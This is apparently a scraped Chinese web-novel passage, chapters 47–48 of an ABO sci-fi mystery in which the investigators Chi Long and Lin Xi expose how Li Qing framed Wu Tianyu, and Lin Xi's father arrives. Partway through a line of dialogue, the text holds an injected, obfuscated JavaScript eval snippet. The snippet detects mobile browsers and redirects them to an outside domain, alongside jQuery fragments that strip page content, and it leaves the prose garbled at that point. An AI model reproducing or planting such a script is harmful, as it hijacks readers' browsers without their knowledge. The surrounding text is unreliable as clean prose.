“你眼中,我不曾拥有的智慧和对世界的欲望,是我一直在这的原因。” 你瞧,这才是婚姻缔结的开始。 后续的故事,很多人都知道。 池泷知道、林息知道、阿瑞亚知道、李光知道、洛熙知道。 吴天语也知道。 阿瑞亚三人在故乡建立了产业,吴天语真的做了仓管。 他们搬回了新建的“亚硫城”。 四个人,变成了三人和远远的一人。 洛溪的后路派上了用场,所有人都度过了平稳的一段岁月。 直到—— 变了样子的花朵、熟悉的梦幻气息,当吴天语捧着花朵来到洛熙门前,四目相对,两人的眼里,是一种不能言明的解脱。 拿出被油纸包裹的解决方案,洛熙靠在吴天语怀里,轻轻笑着。 再来回答前述的问题,洛熙最终给了一个答案:“后悔”。 不然他不会见到那个面熟、总觉得有几分亲切的孩子,和当年的尚自流一样,劝导他“不要撒谎,看看身边。” 不然他不会偷偷调查那个让人喜欢的孩子,意外发现他身份尊贵,却干着“低贱”的活计。 不然他不会选择像老师当年一样,再给令人心疼的孩子一次机会,希望他能明白什么才是最重要的。 洛熙一辈子,学会了很多东西,精通很多东西,唯一学不会的,就是“做正确的事。” 他后悔自己被失去孩子的悲伤冲昏头脑,同意吴天语自我赎罪的提议,两人一分开就是一辈子。 他后悔自己没听吴天语的话,仍旧抱着自己的不甘心,临死前突然害怕伤害无辜的人。 他后悔自己自始至终,都在说谎,在欺骗那个和自己一样的孩子,没能好好道别。 而吴天语呢,他没有时间去想些什么,因为他的一辈子都在赎罪。 年幼时,是星联加注给他的罪孽。 年轻时,是母亲托付于他的爱孽。 年长时,是洛熙欺骗过他的杀孽。 “让一切罪孽,都在这里结束吧。” 洛熙很开心,他知道,吴天语也很开心。 他给最亲爱的孩子留了一个礼物,能够换取自由的礼物。 很可惜,他和吴天语都不喜欢拍照。 不然那个孩子,可以拥有一张父母的照片。 蓝色头发、粉黄色眼睛,总是神采奕奕,笑容满面,跟谁都能很快成为好友,充满人性魅力,虽然实际上是个自私鬼的人,是生他的omega爸爸。 那个紫牙乌短发、不干活时皮肤会恢复成玉石一样雪白,看起来有几分严肃,实际上很爱温柔地笑着,艳紫眼眸中总是像大海一样包容的,是爱他的alpha父亲。 终于,这一刻,蝴蝶准备扇动下一次的翅膀。 自然的规律完成了它的第五步的运作。 也是最后一步的运作。 人生,完结。 52.第47章 这是池泷这么长时间以来,睡得最舒服的一次。 尽管在梦里,她不得闲。 时钟转到12:58,家政机器人仍旧没有出现、爆炸没有发生、逃离没有开始,她的信息素刚刚恢复。 四分五裂的木板戳破不菲的丝绸床单,摩拳擦掌着,捣破恶虎耀武扬威的头颅,暗墨眼睛里闪着幽光,风雨已然到达彼岸。 她有足够的时间。 基地里的人忽然摸到皮肤上覆盖了一丝潮意,刚要寻找来源,后颈却突然传来措不及防的痛意,所有人都抱头蹲下,痛苦哀嚎。 这种深入的痛苦,似乎已经直接烙刻在灵魂之上。 搅弄着从头到脚,都失去知觉,唯独那股锋利的疼,是唯一能认知到的感觉。 脆弱的脖颈被一根根折断,墨发的女人此刻像来自地狱的杀神,黑白分明的眼睛里刻着“有罪”,看似柔软的手掌轻易带走一个又一个的生命。 不够。 那个女人折了多少次,她已经记不清楚,可心中传来的声音一直在尖叫:不够!不够! 似乎不会停歇。 对,不是只有这些人。 想到这,女人一顿,虽然没有转头,却知道身后出现了一个熟悉又陌生的身影。 余光捕捉到一抹艳紫,刹那身体便下意识地出手,将那个身影狠狠贯进地面。 “有罪”变成了“该死”。 可女人用尽所有力气,掌下的那个人仍妖冶地笑着,魔音般的笑声入耳,让乌暗的眼眸逐渐被血色浸染。 “别听。”一个粗壮的手臂捂住她的耳朵。 世界突然安静了。 池泷再次回头,科学怪人一样的人出现在身后,他扯扯她的衣袖;“快走,跑出去。” “可你……”来不及说话,就被人拖走。 明明是alpha,却拗不过这人的力气,被推搡着、被催促着,池泷又站在了那堵墙面前。 爆炸就要发生了! 惊恐地向那人尖叫,池泷想要发出警告。 回头,却看到一片艳红花海。 花海中间,巨人恢复成常人模样,看起来憔悴衰老。 池泷想,这一幕好似以前见过。 只是这次却略有不同。 巨人不是只有自己,身旁扶着他的那个人,仍旧神采奕奕。 花的不远处,是条长长的河,河面上伫立着一座坑坑洼洼的桥。 慌忙地,池泷要去拉住他们,可后背却传来一股力气将她狠狠扯倒! 瞬间的失重让池泷挣扎,“刷”地坐起,惊魂未定。 “醒了?”清冷的声音从遥远的地方春来,却极好地安抚了暴躁的灵魂。 好一会儿,池泷才回神,发现自己坐在柔软的床上。 “又做噩梦了?”床头被放上一杯温水,池泷点点头,端起来喝了一口,觉得心里安定了些。 喝水时,她发现,自己的手臂已经被整齐地包扎好,末尾的结打得又漂亮又利索。 “你该去看看医生。” 对此,池泷不置可否,也没出声。 摸摸脸,止血带让她脸上的皮肤感觉闷闷的。 对面,金发碧眼的人正在专心地操作光脑,眉头微微皱起,好像在为什么烦心。 明明才几天没见,却总觉得好久都没有看到他了。池泷想。 空气中,峭壁上的崖柏正在接受雨水的洗礼,一场沉缓的大雨,压弯从不向外界低头的崖柏,水汽和沉香,没有被稀释或者冲淡,和谐交融在一起。 思绪彻底回笼,池泷才注意到,原来自己在宾馆的房间,就是自己做委托时开的那间。 果然,枕头底下摸到了压缩包,和粗糙的金属质感。 皱起眉头,池泷将枕头底下的东西全部拿出来: 压缩包的隐身模式仍然开着,一只陈旧的黑金怀表正静静躺在它的旁边。 “这是……”拿到任务终结的道具,看到底部歪歪扭扭的字体,池泷心里和上次一样,没有一丝开心。 晃了晃,怀表发出叮当的声音。 怀表的重量似乎和上次自己摸到的、李光的那只不太一样。 打开怀表,时针和分针永远停在了11:55的位置。 池泷抬头向林息望去,不知何时,对方已经停下动作,坐在不远处看着自己。 他眼中无风无浪,只是起身,坐在床边,顺手接过那只怀表。 灵巧的双手没有借助任何工具,只是在外壳上摸索拨弄了一会儿。 “咔哒”,怀表的后壳被打开。 三块迷你内存条轻轻落在雪白的床单上。 一块看起来比较旧,布满细小的擦痕,右下角,刻着一束飞燕草。 一块看起来相对崭新,满大街通用的型号,正中间,白笔画了一个圆。 还有一块,是好看的银色,型号过时,却因为一直被人小心呵护,没有破损,飘逸的篆书“尚”字,占据了整个外壳。 不知道为什么,两人谁也没说出“看看”之类的话。 还是池泷,在几分钟后,讲起她在基地的遭遇。 而后,是林息的叙述,却没提起洛熙和自己关于池泷的谈话。 双方听到彼此的讲述,都没有露出意料之外的表情。 “你说该怎么办呢?”搓搓脸,池泷叹气,她把那张银色的内存条自然地递给林息。 又拿起剩下的两条放在眼前,乌沉的眸子看得认真,细细对比:“是先了解洛熙的秘密,还是解决吴天语的事情?” 她的态度很明显了,林息想。 “我也不喜欢欠人情,”林息附和她的想法,将银色内存条装进口袋。 随即起身,拿走那个崭新的内存条,却没有将它连接光脑,林息说:“走吧,他们都在楼下等着。” “你看起来好像很着急。”开始收拾的池泷忍不住问,虽然说是问,但却用的肯定语气。 “是吗?”背对着池泷,林息也在收拾自己的物品,“大概是因为我父亲要来了吧。” 整理衣服的手顿了顿,池泷缓缓地、用力地咬了一口自己的下嘴唇。 唔,痛。 等到牙齿离开,她才假装随意地问起:“林……” 她不知道该怎么称呼林息的父亲,最终还是做了最稳妥的选择:“林先生怎么突然要来?” 似乎并不在意自己的父亲被队友如何称呼,林息动作未停,将东西一件件装进口袋,整理安放,没有向池泷投来一分目光:“或许是知道我在这里吧,没关系,你不需要和他接触。” 听见这话,池泷心中偷偷松了口气,又有些说不上来的不快。 但她随即想到:那为什么上次,他不来? 当然,这句话并没问出口。 楼下,李光和李青,还有远道而来的阿瑞亚,在看到两人身影时,不约而同地站了起来,笔直地立在那里。 “我没事啦。”扬起手朝三人摆了摆,尽管手臂上包裹的绷带,让池泷的话看起来没那么有可信度。 “阿瑞亚老板,大忙人,竟然抽空从央星过来?”池泷开玩笑。 “朴哥说,如果你不能全须全尾地回去,他一定会剁了我酿酒的手。”摸摸自己的圆肚皮,大老板像个做错事的孩子,语气里全是抱歉,“我们也没料到,这次会发生这么大的爆炸。” 刚好酒店投屏在播报今日的新闻:“发生于亚硫城内的爆炸,造成多人死亡,0人受伤。经调查,此次爆炸,或许与通缉犯吴天语有关,星警正在紧密跟进,事故原因是地下管道年久失修破裂……” 众人静静聆听,很快,是下一则短讯:“经专家研究,亚硫城的红花灭种事件,是由未探索区域的辐射导致,但请民众放心,该辐射不会对人体有所伤害……” 讥讽划过池泷眼中,这样通篇的掩藏,不知道是哪一方的手笔。 “星警刚才来说,那场爆炸中,找到了一点天语的DNA,”看着星视的报道,李光哽咽,不停地眨动眼睛,“大约,他,意外,没了。” 说完这话,李光轻轻呼了一口气,语气稳了稳,才继续说:“他们说,天语可能是跟飞燕谈崩了,导致对方将他……当然,我们这次来主要是确定你的情况,顺带想问问,你们是否知道洛熙……” “叔叔们先回去吧,”池泷转过头,打断李光的发言,“委托还没做完,我还需要去找一些东西。” 她目光里带着安慰,两个事业有成的beta,眼神中明显的恳切,让他们看起来老了许多。 “东西很快就能找到,到时候,我会给两位一个答复。”她低下头,将身体转向李青,抬起头,脸上是诚挚的邀请,“你能不能带我们去个地方?” 这是池泷第一次主动的请求。 第四次打开吴天语家的门,仍是和以前一样的冷冷清清。 “我见到吴天语了。”进来后,池泷只觉得这里比刚来时更冷。 她看向客厅的窗户,阳光洒在地板上,亮晶晶。 “叔叔他,怎么样?”李青站在门口,抬眼询问。 脸上带着的焦急,不似作假。 “不好,”站在窗边,客厅的窗户外面,是隔壁楼栋的墙,尽管堵住了所有的好景色,却离得较远,不影响采光,“很不好,他变得像一只充气的白鼠,你见过吗?” 池泷笑着,看向李青:“就是实验室用的那种漂亮的小老鼠,你把气往它身体里打啊、打啊,它就会变得越大越大、像被吹起来的气球。” “因为气压,五脏六腑都被挤在一起,痛苦地吱吱叫。” 眼看李青的脸色越发铁青,池泷忽然停下言语,提醒道:“哦,我忘了。吴天语不太会说话,所以,他连叫,都叫不出声。” 向后退了一步,李青的脚后跟磕到了台阶,情不自禁伸手扶住身边的门框。 “洛熙,我回来了。”这次出声的,是从刚才起,就游离在人群之外的林息。 清冷的声音不带一丝感情:“这个密码,你知道吧。” “我怎么可能会知道,”面色苍白,李青不解,温和地笑着,“那个时候,我还不认识洛叔。” “不要说谎,”池泷站在原地,面无表情,想一尊石像,“吴天语讨厌说谎,所以为了不撒谎,他干脆连话都不说。” 想起基地里,那个人摇头晃脑的模样,池泷闭上眼,深深吸气。 “本来,这个视频,如果被洛熙顺利看到,那么所有的事情,都将随着吴天语的牺牲而终结。” “这个世界上,最了解洛熙的人,就是吴天语。他害怕,事关自己,洛熙不会轻易原谅伤害自己的人。” 林息接过话茬,出声:“可惜,天不遂人愿。” “几天前,洛熙偷偷去找了你。” “我都能想象,当你拿不出证明时,得有多着急、多慌张。”林息平静地叙述,像一个不称职的演讲者,“洛熙讽刺你了吗?呵斥你了吗?” “都没有吧,因为你不知道,”想起那人,想起那片银色的内存条,碧蓝眼眸中终于有了一丝波动,“他只想听你一句道歉。他很清楚,你是吴天语喜欢的孩子。” 鬼鬼祟祟来不及收拾门口的鞋子,大清早出门却在中午才将怀表送给池泷。 林息想,那个骄傲的omega给过李青一天半的机会。 甚至很多机会。 “我没有……”皱起眉头,李青的脸上摆出愤怒,似乎真的被诬陷了。 可说完“没有”,她却迟迟接不下去。 “从很久以前,你便一直帮吴天语签到,以你的艺术造诣,仿造和模仿笔迹而已,还不是手到擒来。” “你喜欢科技,各类知识涉猎广泛,嫁接视频什么的,也能做到。” 清冷的声音向没有底气的愤怒进攻:“笔迹没有对证,但你真的认为,自己的嫁接技术能躲过星警的排查?” “连你自己都不信吧,一个躲在山林里的omega,竟然能干这么多的事。” 想起自己的压缩包被偷,林息忍不住叹息,这样的人,如果能够站在光里,将会带来多么精彩的故事。 这下,李青终于露出了真实的表情,她瞪大双眼,口舌微张,喃喃不知想说些什么。 “这不怪你,你不清楚他们和飞燕的纠葛,”林息继续说,“一开始我们怀疑是飞燕帮你造的账户,可他们为什么要因此给自己留下被暴露的线索?” “因为真正造假账户的那个人,需要将舆论引向飞燕,尽管现在来看,哼。”不屑的笑声,早上的新闻里,林息没听见一点关于飞燕的事。 “不如我这样说,一开始,真正和飞燕有往来的人,是你!” 一切回到了原点。 “吴天语是怎么发现你不对的?”林息走到客厅,平静地审视着李青,她握住门框的手泛着苍白,“大概是你觉得他不会发现,带着侥幸心理偷酒的时候吧。” “可你也没想到他会帮你承担下来所有的罪责,更没想到,你以为有人承担,事情就会过去,却没想到叔叔们竟然还不相信。” “这也不怪你,因为人无法理解认知外的事情。因此,你没法理解你的几位叔叔之间的羁绊,他们竟然都不相信吴天语会是坏人。情有可原,毕竟你总是被抛弃的那个。” 这样的话,有些伤人,可李青也只是穿着粗气,没有反驳。 “为什么吴天语会帮你?一边是相识几十年的手足兄弟,一边是关系要好却做错事的小辈,正义的天平怎么看,也不会倾向你,或许是因为这件事……”说到这儿,林息停顿了一下,“和小溪有关?” 终于,敏感的神经被触动,李青忽地挺直了身体,她着急又坚定地大喊:“是我!我想要钱。我没想到吴叔对仓管的工作那样认真,也没想过这种酒会卖那样高的价格。明明这种材料,是我推荐给叔叔的,但我获得的报酬,太少了。” “为什么少?是因为小溪生病吗?那个项目花费了你太多的钱,导致你不管赚多少,都无法填上那个无底洞。” 终于,池泷出声,代替了林息。 她面色平静,不愿让林息接触那个和他名字相近的、孩子的事。 “你很清楚,飞燕找你推荐材料的原因不会那么简单,但你仍旧答应了。李青,你不是坏人,你吃尽苦头也没埋怨过这个世界,不然小溪不会活得这样单纯。” “你变坏,是因为,你是一个alpha母亲。” “你得为了你的孩子,抛弃你的良心。” “吴天语一定告诉过你,不要担心吧。”池泷很温柔。 “他拜托洛熙,伪造视频、将你和医院的账户往来挂到了自己名下。为了让动机合理,洛熙还特地造了一个满是破绽的‘隐秘’账户。” “因此,吴天语也和飞燕做了交易。” 瞪大眼睛,李青再次觉得不可思议,顿了一会儿,她又悲痛起来。 “你想起飞燕的德性了吗?他得去做交易,用自己把你换回来,让洛熙知道飞燕的账户地址,留下给星警的引导陷阱。” “洛熙不是会轻易心软的人,我想,当吴天语去找他商量计划时,他一定还是恨你,”想起洛熙,池泷总是会无奈地笑出声,“你的错让吴天语承担,他的错也让吴天语承担,所有人的错都转嫁到同一个不相干的人身上。” “三个月前,他找洛熙拿药,准备以身殉道,”事情其实很简单,池泷想,但是自己当时为什么想不到,“他不会撒谎,却跟洛熙说‘自己一定还会回来’。因为他清楚,有这句话,洛熙暂时不会找你麻烦。但他死后,却不一定了。” “所以他是不是又找到你,告诉你,他偷偷为你准备了一条息怒的后路。” “只是那个后路,被我们不小心断掉了。” 说到这儿,池泷呼气,沉默了一会儿。 “他做了这么多的事吗……”门口传来李青的自言自语。 她想起自己一开始被发现时,吴叔生气的模样,那样大的力气,甚至要折断自己的手腕。 害怕,恐惧。 她将一切和盘托出,希望吴叔看在小溪的份上,饶自己一马。 没想到,吴叔却让自己带他去看红花。 天天上班回家,总能看见的红花,吴叔却看了很久很久。 然后他表示,不要担心,一切他会处理。 想起他走后的那三个月,惴惴不安的李青,不仅要偷摸造假,还要打起精神应付每一个人,神经绷得像一根快要碎裂的皮筋。 明知吴叔不会在家,可她仍旧无数次从吴叔家无功而返,脑海中忍不住闪过各种想法:他是不是后悔帮自己了? 结果没多久,偷酒的新闻爆发,星警入驻厂区。 那晚,一直消失的吴叔出现了,他将自己带到家里,笨拙地演示,当有人来找自己时,该怎么做。 “洛熙,我回来了。”是密码。 星视上是一段视频。 当时,李青十分震惊。 她很清楚改造这样一台星视需要多么高超的技术,但一种不详的预感,让她没有去询问,是谁帮他做的。 不是洛熙,就只能是……飞燕了。 直到真的见到洛熙,她才知道,原来吴叔那样相信自己。 那晚,自己大可以直接举报他。 结果,他还告诉了自己一个被保护的名字。 为了这个名字,他甚至让视频变成了一次性产品。 “所以呢?”当自己站在门口,无论怎样说那句密码都无济于事的时候,那个看起来很好相处的omega这样问道。 “我还有孩子,我得为了小溪活下去。”她慌张得像一只无头苍蝇。 那位omega温柔地笑了,却满脸悲哀:“所以呢?” “求求你,我知道怀表在你手里,求求你。”她跪在那位长辈脚边,真心地祈求。 “你该庆幸,这次我真的想死在这里,”温柔的人蹲下,摸着她的头,“你还有什么想说的吗?” 她不知道要说什么,才能让他真的放过自己。 于是,那位长辈点点头,说了句“照顾好小溪”,就离开了。 她以为、她以为,洛熙已经原谅了自己。 “他还是把证据给了你们。”李青有气无力地说道,“他没有原谅我。” “他不知道该不该原谅你。”林息回复,他听起来好似在怀念,“所以他把东西给了我们。” “是我们决定要找到真相。”池泷接道。 “吴天语决定要牺牲的时候,告诉我,你和小溪是好的、无辜的。” 此刻,池泷终于明白了那个人笨拙的比划。 “和他在一起的时间,他从未让我知道过一点和你有关的信息。”池泷这样说。 “他甚至编造了一个完美的故事,故事的主角只有英雄的alpha。” 想到基地里,自己对吴天语说那个猜测的故事,池泷想,当时他一定很开心,觉得自己的计划成功了,却又不想撒谎,只能摇头晃脑。 如果不是池泷发现了那些符号、如果不是池泷被抓进了基地。 按照吴天语的计划,三个月后,洛熙会借着“生活费”的由头,前往亚硫城“营救”他,然后就会不小心发现他的死亡。 却没想到,洛熙被李光告知,池泷和林息要先一步去郊区。 作为“被藏起来”的人,洛熙不敢主动说自己来亚硫城,怕引起池泷的怀疑,只好呆在郊区,坐等两人上门。 面对可能知道“吴天语是识别障碍者”的威胁因素,他向飞燕透露了池泷两人的行踪,为了洗脱嫌疑,很可能还要求飞燕在两人回去的路上“截停”。 哪怕牺牲一艇的市民。 却又没想到,自己和林息的牵扯,以及池泷两人的“夫妻”关系。 没办法,他只能隐晦提醒两人飞燕的存在,又毫不避讳自己的行为处处都“有问题”。 希望两人有所察觉。 估计连洛熙也没想到,飞燕并没有打算直接一炮轰了那艘飞艇,而是费劲力气去打开它。 进而,被逆风翻盘。 彻底引起了池泷和林息的警觉。 吴天语的计划,出现了偏差,“被告知实情”的洛熙,只能换了个“看望老友”的由头前往央星。 明面上,是继续营救爱人,可暗地里,却不打算按照约定进行。 因为一开始,洛熙就有自己的打算。 他确实想用自己假装去换吴天语,降低飞燕的戒心。 他确实想向辜负吴天语的人,要一句“对不起”。 可林息却发现了他的目的,并伸出援手。 为了抵消林息的担心,他撒谎,一句缱绻的“我希望他活着”,隐藏最终的目的。 他,要陪着吴天语去死。 最终,两人的死亡,引起了池泷和林息的怀疑。 “我一直在想,到底是因为什么,他们会相互欺骗,争抢着要用死亡去解决事情。” “吴天语骗洛熙自己会回来,洛熙骗吴天语自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15194140|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信,却都在偷偷准备着牺牲。” 如果单单是为了赎罪,那么洛熙会有千百种方法,保住两人性命。 可他选择尊重吴天语的决定,跟随吴天语的决定。 因为,人死灯灭。 “反正都死了。” 那么,有些事就不会被追究下去。 给所有的罪孽,提供了一个收容所。 “后来我想,是因为吴天语在尝试保护着,除了洛熙之外的人吧,”想起吴天语的身世,池泷说,“他一定觉得,你和他年轻时一样,长大很不容易,长大后又要失去心爱的孩子。” “洛熙看到你之后,应该也明白了这点。他想过原谅你,可他还是会为吴天语感到不公平。世界上没人会心疼吴天语,连吴天语自己也不心疼自己。” 看着这个空落落的房子,池泷想,这样的地方怎么能称之为“家”呢? “那句‘我会回来’的后面,一定跟着一句‘不要去追究’。可吴天语太了解曾经的伴侣,于是,他再次保护了你。” “甚至,”池泷缓缓说道,“他单纯地以为,只要把飞燕的基地炸掉,只要让星联关注到飞燕的阴谋,飞燕就不会有精力,再找到你跟小溪。” “但飞燕才不是这样容易放弃的组织。洛熙终究还是心软了。” 哪怕,洛熙知道,这对母子,或许不会再被人打扰。 毕竟是吴天语关心的人,报复也好,原谅也好,藏起来,在徐徐图之,怎么可能会放任母子继续呆在这里。 但和吴天语一样,为了进一步的杜绝风险,他还是心软了。 林息把那张画着白圈的内存条连接到光脑,里面,是李青和李小溪的死亡证明。 同样的模样,还有一张户籍证明。 李青怔愣了。 “看到那个基地真的被摧毁时,你心里有没有那么一瞬间,觉得开心?” 看到李青崩溃地抱头蹲下,池泷为她感到可惜。 压抑的哭声充斥着冷清的房子,终于让这里有了一丝生气。 从一开始,池泷和林息就陆续进到了客厅,留下李青一个人在门厅,只要她想跑,两人绝不会阻拦。 也不会再追究。 但道德啊,总是只会困住那些善良的人。 “告诉我小溪的那个医疗项目。”池泷蹲下,拍怕李青的肩膀。 Alpha哆嗦着嘴唇抬头,露出哭肿的双眼:“吴叔,最后走得很痛苦吗?” “我不知道。”想了想,池泷还是说了实话,“就算痛苦,他也甘之如饴吧。” 毕竟,事情总归因自己而起,能亲手解决,应该会很畅快吧。 抽泣过后,李青断断续续地说起: “我知道的不多。那是一个实验,小溪是志愿者。当时我无路可走,一位叫‘安德尔’的医生主动联系的我。” “实验大多是在晚上进行,晚上的医院,人很少。他们给消息注射了某种物质,小溪的信息素消失了,取而代之的,是他的身体好了起来。” 闻言,池泷瞪大了眼睛。 “但这些仍在实验中,而且志愿者很少,因此——”说到这儿,李青再次泣不成声。 因此,城里的人,都病了。 “这个任务价格很高,我想,反正他们有解决办法,不如试试,就把红花推荐给了叔叔”。 或许不久以后,星联的人,也会生病。 “那个医生呢?”池泷握住李青的臂膀,狠狠晃到。 “不知道,我真的不知道。”李青哭着说,声音里有深深的后悔,“两年过去,小溪的身体看似是好了,可最近,他又开始发烧,我想找那个医生,所有的联系方式都是空号。” 有的人,已经成为弃子。 “我对不起小溪,对不起吴叔,对不起所有人!” Alpha趴伏在地面,蜷成一只虾米。 这样的哭嚎,总会让人忍不住叹息:早知如此,何必当初。 留下李青一个人在房子里,两人离开了。 “你根本没想为难李青。”出了门,林息说道,他手里拿着一张刻着飞燕草的内存条。 两人没有打飞艇,而是慢悠悠地往厂区走去。 “嗯。”池泷瞥了一眼,尽管她一直在为洛熙说好话,可那位喜怒不定的omega,心地或许没有那么包容。 “里面一定装着李青和飞燕的往来。”林息肯定。 池泷没说话,等同于默认。 “他心软吴天语坚定的保护欲和母女二人的不易,却也实在为吴天语觉得委屈,所以,他把选择权交到了你手里。” “与其说选择权,”池泷咂咂嘴,“不如说,他在借着我们的手眼,去完成他死前来不及做的事情。” 笑笑,林息将那张内存卡插到了池泷光脑里。 “防止弄丢。”他这样说道。 接着,林息问,语气里却没有一点好奇:“为什么不坐飞艇?” “你为什么不坐?”池泷反问,语气里也没有一点好奇。 因为他俩都在等。 终于走到厂区,李青漂亮的字体还挂在大门上。 好在,漫长的等候终究值得。 办公室里,李光靠在沙发背上,他仿佛一下子又老了十多岁。 阿瑞亚站在窗边,圆滚滚的身体将窗户堵了个满。 看见两人到来,李光想起身,却连续摔倒两次,他拒绝家政机器人的搀扶,好不容易站起来。 面色苍白,他看起来失去了所有的力气,想伸出双手,手在抬起时,却又颤抖着落下。 “我没教好孩子,”李光的眼睛似乎已经流干了眼泪,通红一片,“也不是个称职的朋友。” “为什么不说,天语为什么不说,”阿瑞亚拍着窗台,声音沉闷得让人听不清楚,养尊处优多年的手也是一片通红,“他要保护小青,我们就不能保护了?” “钱还不上就不还,害到的人多,就偿还,我们总跟他在一起的。” 池泷两人面面相觑,拿不准李青跟这两位到底说了多少。 “小青已经去自首了。她承认是她偷的酒,嫁祸给了老吴。”吸吸鼻子,李光挺直腰杆,几十年的风霜雪雨,让他不会轻易倒下,“小兔崽子不去,我也得打断她的腿拖她去。小溪那里,老瑞会照顾。” “她还说,红花酒的原材料市场调研材料作假,是她一手弄的,可能会害了很多人。”阿瑞亚也揉揉眼睛,这个年纪了,已经不会像过去那样脆弱,“好在原料也没了,这酒以后想做也做不了了,我们愿意承担顾客的所有损失。” “老吴,终究是走得清清白白。” 终于,两人相视一笑。 池泷将那张内存条,递给了李光。 那个不包容的omega,到底还是给了李青最后的机会。 他希望那个令人心疼的孩子终会醒悟。 如果她能够说出“对不起”,那么她就会得到他来不及做的、给李青的重生。 如果她仍旧心安理得地享受着一切,那么,他也绝不会原谅。 完成他来不及做的、对吴天语的平反。 那个空空如也的怀表,耍弄了所有的人。 他相信,池泷和林息,一定能明白他的深意。 可池泷和林息,总是他的变数。 他俩一开始的态度,就是“做错了事,就必须受到惩罚。” 重生可以在磨砺之后,并不着急。 “唯一对不起的,就是老吴。”李光搓搓脸,“一命偿一命,我赔给他。” 池泷赶忙阻止这样的想法:“他不怪你们……” “我们知道,”阿瑞亚笑比哭起来还难看,“他不想我们担心,不想牵扯我们。” 想起三人年少相遇、共同度过的时光,创业艰辛、相互扶持走过的道路,生死之间、彼此保护的事情,阿瑞亚继续说:“但是,不要总是‘为我们好’,就算他一个人做了英雄,那剩下的我们怎么办?” “我们终其一生,都将活在愧疚和自责当中,”李光笑着,闪着泪光,“时越长,美好的记忆不论是更模糊还是更清晰,我们都会越后悔。” “等我还完小青债的那天,”浅粉色的头发,在几个小时内,已经几乎花白,李光温柔地决定,“我就去陪他,咳咳,虽然,我不知道还能不能坚持到那天。” 伤心者,难活久。 “得告诉那个老东西,就算他不觉得值得我们的牵挂,我们也得挂上,叫他甩也甩不掉。”阿瑞亚笑着,支持好友的决定。 剩下的两人抱在一起,身体颤动,却没有声音。 将空间留给他们,池泷和林息离开了。 这次,两人不约而同地往那个公园走去。 一路上,池泷都在思索着什么,她拿出光脑,漫无目的地拨弄着。 因为一心两用,渐渐地,她落在了林息身后。 忘记内存条还插在自己光脑上,随意地点拨,池泷无意间点开一张户籍。 那时候的吴天语只有18岁,洛熙只有15岁。 奇怪的是,第一行的户主,竟然是洛熙。 “唉,这就是‘不顾家人反对’的爱情?”池泷隐约觉得,洛熙在他和吴天语的某些事儿上,隐瞒了他们所有人,包括那两位好友。 一生都爱撒谎的某人啊…… 迟迟没听见林息的回复,池泷好奇抬头,下一秒却愣在原地。 不远处,一个高挑亭亭的身影立在那里。 旁边的老管家撑着一把阳伞,阴影下,身穿夏季藏青唐装的omega优雅地站着。 同样亚麻色的发丝天然带着恰到好处的微卷,上挑的丹凤眼略显凌厉,但樱桃般的唇口又给他添了一抹柔和。 祥云暗纹的布料,纹路流光,只能陪衬他的尊贵;微微晃动的袖边,金线的璀璨却只能算作暗芒。 像一根挺拔独立的翠竹、像一束呵护良好的幽兰。 得体的行礼,淑良的微笑。 林息变成了池泷在光脑上,看到的样子。 崖柏将自己不断压扁、压小,它小心地变化,缓慢地流动,似乎想找个地方藏起来。 没法准确说出具体的感受,池泷只能确定,林息并未因为这人的到来而感到轻松的欢欣。 却也不像紧张、或者被抓包的心虚。 池泷皱眉,又很快松开。 她下意识,不太喜欢这个人。 “父亲。” 尽管他是林息的生父。 53.第48章 没有什么矫揉造作的手部动作,或者必须翘起的手指,仅仅普通地端起眼前的咖啡,林凌杉做起来,就是给人以高雅闲适的感觉,不似凡人。 瞥了眼光脑,眼神又不着痕迹地略过林息,池泷也端起水杯轻抿。 林息的表情算得上神秘莫测,三分低眉顺眼、三分不问世事、四分超脱物外,用池泷的话说,那就是根本看不懂。 本来她以为林息还能给她撇个眼神之类的,结果他也只是端起咖啡喝了一口,动作不及林凌杉优雅,但也赏心悦目。 紧接着,就坐盯着身前,似乎那只据说从家中特地带来的、和他父亲一样的、一看就贵重的宝蓝珐琅杯子纹路上有什么难解的题目。 从几人相遇到他们在林家亚硫城的一处房产坐下开始,两父子之间便没有丝毫交流。 一时间,池泷对于现在的场面也有些把握不住。 虽然一开始,是管家传达,这位家主非要邀请自己过来的。 “您是否需要续水,或者换一种饮料?”三人里,唯独这位年迈但和善的管家看起来还能够交流。 杯子不知何时已空,听见询问,池泷只觉得自己肚子已经有些发涨,便摇摇头:“不必,多谢。” “很漂亮的颜色,”终于,这位悠闲的林家家主开了尊口,“你的头发和眼睛,是怎么做到这么自然好看的?” 虽然是林家掌权人,也是平权先驱,可自从几年前林息“出道”开始,这位家主便很少在公众面前露面了,他的声音听起来稳定而温润,如珠玉相击,和池泷以为的高亢坚定,甚至可能有些威慑逼人,完全不同。 但哪怕音色亲人,可这个问题,对池泷来说也有些扎心了。 “用了xxx大牌?”林家这种等级,她说这种话,简直就是明晃晃地把人当猴子耍。 和敷衍其他人一样地回复“用了个神奇的染发剂,但是忘记牌子了?” 听起来也不太好。 “大约是古星返祖的性态比较明显,”一直都没说话的林息,此刻反而出声替她回复,声音比往日更加清冷低沉,“月轨越外围的城市,居民的性态越接近古星。不过,军校生年年体检,也人没说什么,估计她这样的,在星联,还算不上最返祖的。” 是吗?池泷在旁边点点头,内心深处却有些不确定,想起擎叔和邻居们的样子,她觉得,林息在——扯谎。 而且,就林息说话的间隙,崖柏再次出现,它一动不动,透露出一股僵硬感。 所以,她十分确定,林息绝对在说谎。 林凌杉嘴角勾起完美的微笑,看向池泷,脸上透着几分抱歉:“果然如此。不好意思,冒犯了。” 嗯? 池泷眨动眼睛,这位家主的表情,不像是某种善解人意,而是真的打心底信了。 如果不是演技太过逼真,难道他真的毫不知情? 反正,能糊弄过去再说。 于是池泷微笑回复:“没关系,好多人都这样问。” 因为对视,此刻池泷才看清,和林息比起来,这位家主的眸子映入阳光,琥珀色的基底上,却更偏橙红一些。 